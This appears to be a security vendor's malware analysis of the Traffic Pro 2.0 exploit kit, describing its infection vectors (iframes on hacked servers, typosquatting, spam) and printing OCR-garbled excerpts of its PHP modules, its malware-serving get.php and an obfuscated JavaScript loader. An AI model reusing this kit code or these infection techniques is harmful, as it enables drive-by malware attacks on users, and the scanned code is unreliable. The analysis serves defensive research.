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Introduction

Traffic Pro

Traffic Pro is an application installed on a server that allows malware to be run on remote
systems using a series of exploits.

It's programmed in Php and stores and accesses information obtained from infected users.
This information is then stored in a MySQL database.

It is sold in forums for around $40. The price is low in comparison with kits like Mpack or
Icepack, largely because it is not a new application, but it is still one of the most active
that we encounter on a daily basis, perhaps because it is so well-known.

In this document we will focus on version 2.0, since it's the latest version to which we have
had access.

The normal process of a Traffic Pro attack

1. Users visit a web page on which it's hosted or another page containing an iframe field
that loads the index.php of the host website.

2. The index.php determines which exploit should be run on the computer, if it is
vulnerable.

3. Depending on the value obtained in point 2, the exploit is run on users’ computers
and stores the data of the infected computer. This can be viewed later in the statistics
module.
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How it infects users:

Several techniques are used by attackers to get users to run the code referenced in the
index.php:

1. Hacking servers. In the case of web servers, they usually add an iframe-type reference
at the end of the file which is loaded by default and indicates the index.php where
Traffic Pro is installed. Sometimes they use the same hacked site to host Traffic Pro or
other types of malware. Consequently, by hosting malware on third-party servers it is
more difficult to locate.

2. Entering certain words on the web pages hosting the code, in an attempt to draw s
search engines users to the page containing Traffic Pro and infect them.

3. Buying domains with similar names to known sites users tend to access. For
example, gookle, which only differs in one character from the famous google search
engine. Users who misspell a word entered in the search engine could become
infected.

4. Spamming. The emails usually contain links and use social engineering techniques.
The Trj/Goldun and Trj/Haxdoor families frequently use this technique.

5. Buying google adsense words so that search results are highlighted. These results are
then linked to websites with malware.

6. Affiliation programs. As we mentioned in the blog, some affiliation companies
operate more legally than others, but we have found cases in which these types of
companies do more than just install adware, and actually install banker Trojans.
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Installation and configuration

dump.sql
This is a text file with tables to be created in the SQL database. Other kits have an
installation file, and so it is not necessary to go to the database and install them manually.
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inc.config.php

This is a configuration file with data for accessing the SQL database.

<7php

$db_host = "localhost”;
tdb_name '‘DataBaseMame”
$db_user ‘User";
$db_pass = "Pass";

$timeout = GO0%E0%1000;

php? s
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Vulnerabilities used

The examples of Traffic Pro that we have come across up until now use different exploits.

In one server in which we accessed an uninstalled copy, there were the default names of
the exploit files 1.html, 2.html y 3.html, suggesting that those who use it manually add the
exploits they want use.

The main module

index.php

This checks that the IP address of the target user is not already infected.

mysgl_connect($db_host, $db_user, $db_pass) or die("Couldn't connect to db!™);
mysgl_select_db($db_name) or die("pe % "$db_name\” not found!");
#9p = getenv("REMOTE_aDDR");
$201 ="sgl_placeholder (' SELECT * FROM TpP_sTats WHERE ip = 7 awD datetime > 7', §ip, date("v-m-d H:i:s", Time() - $Timeoutl);
$ro= mysgl_query($sqlds $num = mysql_num_rows($rd; iF ¢ Snum > 0 3 {
$sg1 = "UPDATE Tp_hits ser toral = total + 1°;
mysgl_guery($sgl);
echo "<centerxSorry! vou IP is blocked.</center:";
exit(l;
}.

If it is infected, the following message appears:
Sorry! You IP is blocked.

It then identifies the browser and operating system to choose the most appropriate exploit
to try.

fuser_agent = geterv(“HTTP_USER_AGENT"];

$uri = geterv("REQUEST_URI");

faccept_lang = getenve "HTTP_ACCERT_LANGUAGE");

fref = substrimysql_real_escape_string(getenv("HTTP_REFERER")],0,40);

if (strstr(fuser_agent, "Nav")) fbrowser = “Netscape";
elseif (strstr(fuser_agent, "Lynx")) $browser = “Lynx";

elseif Estrstr' user_agent, "Opera"ag $browser = “Dpera”;

elseif strstr% user_agent, "webTv")) Sbrowser = "wehTv';

elseif (strstrifuser_agent, "Kongueror™)) $browser = "Kongueror”;
elseif Estrstr' user_agent, "Bot'%) Sbrowser = "Botr'";

elseif strstrE user_agent, "Firefox")) Sbrowser = “Firefox”;

elseif (strstrijuser_agent, "MSIE")) $hrowser = "MSIE";

else $hrowser = "other”;

if (strstr(fuser_agent, “windows 95"3) %05 = "windows 95°;

elseif (strstr(fuser_agent, "windows NT 4733 $05 = "windows NT 47
elseif Escrstl‘ user_agent, “win 9x 4.9")% fo0s = "windows ME";
elseif (strstrifuser_agent, "windows 98")) §os = “windows 98";
elseif (strstr(fuser_agent, "windows NT 5.0")) $0s5 = "windows 2000";
elseif Es‘:rstl‘s user_agent, " ")) $o0s = "windows xP sP2”;

elseif (strstrifuser_agent, “windows NT 5.1")) §os = "windows =P";
elseif (strstrifuser_agent, "windows NT 5.2")) 805 = "windows 2003";

else $o0s = "other”;

#5071 = sgl_placeholder (' INSERT INTO Tp_stats(datetime, ‘iq. use;-_agent‘ browser, os, uri, accepr_lang, referrer) vaLUES(?, 7, 7, 7
H:i:s"), $ip, $user_agent, Sbrowser, %$os, $uri, $accept_lang, $ref);
mysql_query($sql); 7>
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This is what the encrypted index.php looks like when run. It is easily recognized by the
name of the function “makemelaugh” which is used to encrypt.

<script language=lavascriptzfunction {::J{var

T1=x, length, b=1024,3,7,r, p=0,5=0, w=0, t=&rray(os, 24,43,12,11,10, 51,15,61,17,0,0,0,0,0,0, 21,
37,30,27,9,25,40,14,6,35,3,59,36,31,33,53,42,5,18,22,20,48,54,4,50,41,46,0,0,0,0,13,0,1,2
8,23,38,39,44,56,7,29,34,0,57,16,2, 62, 60, 26,32, 52, 58,47, 49, 55,45, 8,18): for ({=Math. cei 1 {1/
byiiz=0ri-=){r="":for(i=Math.ming1,b); i20; ==, 1==2{w| =(t [x. charCodeat (p++)-48] 1<<s; '|'I"[5j{r'
4= String frcrL'arLDde(l?Dﬂwaﬂﬁsﬁ w*a-E.;--j}e1se{s 6} ddocument  write(r) ) hnakemelaugh(" SgE
z?sz:I_,Q'If.«;‘.r‘.l.xS'|E-E.’-‘I»M'Jggt?‘gLI=23,r>-CHn_bJ<aCI"anENDu3uBCI;‘.-‘Tr' Jefscripts

get.php
This downloads the file containing the malware and also updates the download
information in the database.

<7php
fExE=". fupdate.exe’
SA%HTA=" . Ssplfodre.hta’;

§fsize = Ffilesize(3EXE);
$dd=Fopen($ExE, "rh");
$ss=fread(fdd,$fsize);
fclose (3dd);
headaer ("Accept-Ranges: bgtes\r\n
header("Content-Length: f51ze\r\n b H
header("Content-pisposition: inline; filename=update.exe”):
header ("\rywn');
header("Content-Type: application/octet-streamyrin"l;
echo ($ss];

include ”inc.cnnf12 php"

mysgl _connect CEdh_hos Sdh_user, $db_pass) or dief"Couldn't connect to db!™);
mysq]_seTect_db(Sdb_name) or die("pe % $db_name*" not found!");

§ip = getenv("REMOTE_ADDR");

§501_= "UPDATE Tp_stats SET is_downloaded = 1 wHERE ip = "§ip’";
?y5q1_query[$sq1g

Wl R WV W R W W W W e i W

T
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Data and statistics

/admin/login.php

This module gives access to the database. The corresponding username and password are
needed to access all the Traffic Pro data. This is a basic security measure to avoid third-
party access. Previously this was not done. For example, the early versions of MPack did not
include this type of protection, but the later ones did.

ADMHHHUCTRATHROBAHHS CTATHCTHEN

Lagin:

FPaz=word:
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/admin/index.php

This is the main control panel screen. It shows the infections for each operating system
(including a small graph), browser, and how many times the malware has been
downloaded on that day or in total.

Y@l ragake s no padedsisy faepcia 2,00
ASLLBHNG TPATHORAHIE CTOTIC TN NG JaFpyIKall © Tpadaika

Winlows XP Sp2 Cranee ik na JAMFyIKe Biauldent mperpakiiis
FAPNKEHHES MEEEHB (RS0} FOPEEHHLE BB 30 SR

My brojan | My trojan

Cramye: [iemai] JCrarecTena [ Saseed | Momowgs [ Hepews s napons | Aobassre nomssoparena | OuscTers 6 Beimog 0
i "
ONEpaIFHHBIE CHCTEM) CREAHAA CIATHCTIESD 00 Ipaduky
otliern Beapeinm Gpayiepon CHORIBR Tpadfaie
Windows 2000 E_ ot Bow gocie
Firefox WHIHEAME HELE T & THTE
Winidows 2003 E_
Haktigiien of
Winilows 98 :I_ =t
Netscape
Winidows ME :L Opara
Witilows HT 4 |_ | ttver
Windaows XP Wb Ty [—I

1!

Pacer TRELINE S A0C THE IEC M

Mpodneasuac s scniotor mo MSIE: "l

[T oD aeeC T SCTIIONTORE MO OOuELY Tpadye [—]‘¢
Pacyer mo ipaky onepaupioHHEE CHCTER

ol
Winicdowes 20040, -
Windows ME: -

Windows XP:

Windows XP SPx

A

P ET OO M e
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Components of Traffic Pro

/admin/lang.php

It shows the number of downloads for each country.

o 3aqn s e iy (depcie §
T T e
[sbeti 1] CraTent Homin | Batsmmss | homoiomga | e ris fagom. | f]
LRI FI 10 ) LI R 110
n |& i_ [ednarstes Ain=0L%] [ et Fikg=0.7 1 LS
1 P b sl P i PR =41, 7] [5] D E—
i o] [hisign=0.5]
— . [onarn b =11 5] =
e j e o= k=il = | ELEERER R AL T
L -4 e=0.51 =] i pe o7 03] [ v s AT IE Fb L
P .|= - e ars besrp=i F anap=0.0] [ e
L, =0, 5 guacry=0, ]
it B | = ko Bt B ] i B i LIS T pl
I 0% -
S ] st = e
i .5
[ sz '3 ot ke =0.5] [#] T
ar-am = B s s || [Ty e
[ e eki=0.%] [=] [t i =i, 5] = “I—
i =05 o
e SR 0] = Lost s P2 .5 m
[aar e vt o= T om0, 9] ™ | et | L] ikt spbyn=41.5]
[ s i =45 = o pug=iL - sog=9.J] ] E—
Pt s bp=0.5]
i) = 5] = s
[ b=, 5 = [etiars o BRog=0.5] =
. L | . o b L st A R =10, 5
[ R S L SR | = L.2] fsctsitzta =
(] =1 LT du=0.3] 1 —
o ot -5 [ =] L A E [l dsa
e [t Mge0.%
|- o= i =0 S =il ] |- =] et W05 = o]

/admin/help.php
As the name of the files suggests, this is the Traffic Pro help, explaining what it consists of,
the data it displays, etc.

YyeT Japawen no Tpadidinky feepcus 20
AQMIHUCTRATUPOBAHWE CTATHCTHEMN NO JarpYIKam ¢ Tpaduea
Crare [demod]  CCrarecTasa | Hibien  MomMows | H3meHnTs napons  JoSasnte nonsiosatenns  DuscTite [B  Boixog

Mowsouib NO CTATMCTHER 33paseHi

CRLI= T 33 OCHOEY 33PIweHIi P

i@ FKCNMGNTR

i3 e fi

3KE W

\ pea Intermnet Explal
B npagoi KonoHke pacnpegenserc K 1 IKCNAOUTH MO BEPCIALL Windows
(OnepaunoHHkIE ClCTEMbI) P 3CueT UOeT No XOCTaMm

Copyright Bacwnue Mynked £
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/admin/user_manager.php

This module is the user administrator, from which new users can be registered. Unlike
other kits such as Mpack, Traffic Pro stores passwords in the database itself and notin a
configuration file.

VUET SapaEEHI N Tpadiiiey (aanciig 2 i
AMEHINC TRATIPOBAHHE CTATHCIMEI M0 2A0PYIEIM C Tpadiia
Crate [demod] Cravecteka | Aabis | Momows | A3perdTs napons | fobasste noasiosarens  Duscrars J16 | Beixog |

HoGaBNTE NeNbI0BATENHA
e panssoraTena Mapons Morrapnte |
Copymght X & 2007 1CG: 107606Md=

/admin/change_pass.php

This module allows users’ passwords to be edited.

Yuen 3apakednn no ipadpdiiky (aepens 200
FUOBERC DI ATM OB O TATAC TR T ST aRaN & Tpadan
Cramye [demned]  FCrarveevenas | Assird | Nomodis | MamedsTo nopons | Jobasats nonssosatens | Dusctuis fI6 / Boixog |

Caiena naponAa

Crapui napons Hoyum napomn MorTepiTe [

Copyrighl X & 2007 1C0 107EDERD =
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/admin/clear_db.php

This module resets to zero information in the databases.

fmessage = ",

if f &% _PosT[Maction”"] == "clear”
$=g1 = "DELETE FROM tp_logs";
mysgl_query($sgll;
$=09l1 = "DELETE FROM tp_stats'”;
mysgl_guery(tsgll;
$=q1 = "UPDATE tp_hits SET total = 0";
mysq1_query($sq1§;
fmessage = "fodoefoegd Jreddia’;

5

/admin/logout.php

This module closes the Traffic Pro session.

<7php
session_start();
session_destroy(]);

Header("Location: index.php"l;
exiti]);
P




Components of Traffic Pro

/admin/ip_stat.php

This module determines the country of the IP address of infected users.

$total_columns = 3; // 87ée<afodi éieiiie

if ( Isset($_GET["startpos”]) && is_numeric($_GET["startpos"]) &% §_GET["startpos"] > 0 )
$startpos = $_GET["startpos”];

else
$startpos = 0;

if ( Isset($_GET["gppp"]) && ds_numeric($_ceET["appp"]1) )
$appp = $_GET["appp"1;

else
$appp = 1505
fcond = "";
Ef (@_GeT["filter"] == "24h")
) fcond = " AND datetime > '".date("v-m-d H:i:s5", time()-3600%24)."" ",
$sql = "SELECT count(®) as total FROM tp_stats wWHERE is_downloaded = 1 '.$cond;

§r o= mysql_query($sql);
$Row = mysqgl_fetch_array($r);
$total_records = $rRow["total”];

§s5q1 = 'SELECT * FROM Tp_sTats WHERE is_downloaded = 1 '.$§cond.’ LIMIT '.§startpos.’', '.$qppp.’';
$r = mysgl_guery($sql);

$stats = array();

while ($row = mysgl_fetch_array($r))

$stats[] = $rRow;
fselected_stats = sizeof($stats);

frows_per_column = ceil($selected_stats / $total_columns);
?>
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/admin/flags
This is a directory with the flags of each country displayed when accessing the
/admin/lang.php module.

(B = ) 5 nll . N -+

dm_ad.gif dm_ae.gif dm_af.gif dm_ag.gif dm_ai.gif dm_al.gif dm_am.gif dm_an.gif
— ] — [ +
= Kl =] — ol =
dm_ao.gif dm_aq.gif dm_ar.gif dm_as.gif dm_at.gif dm_au.gif dm_aw.gif dm_az.gif

Kl il & e - - a e

dm_ba.gif dm_bb.gif dm_bd.gif dm_be.gif dm_bf.gif dm_bg.gif dm_bh.gif dm_bi.gif

= =] —~— —— - ad =

dm_bj.gif dm_bm.gif dm_bn.gif dm_bo.gif dm_br.gif dm_bs.gif dm_bt.gif dm_bv.gif

= . & i+l ol =+ V4

dm_bw.gif dm_by.gif dm_bz.gif dm_ca.gif dm_cc.gif dm_cd.gif dm_cf.gif dm_cg.gif

(1 ull = | . —

dm_ch.gif dm_ci.gif dm_ck.gif dm_dl.gif dm_cm.gif dm_cn.gif dm_co.gif dm_cr.gif
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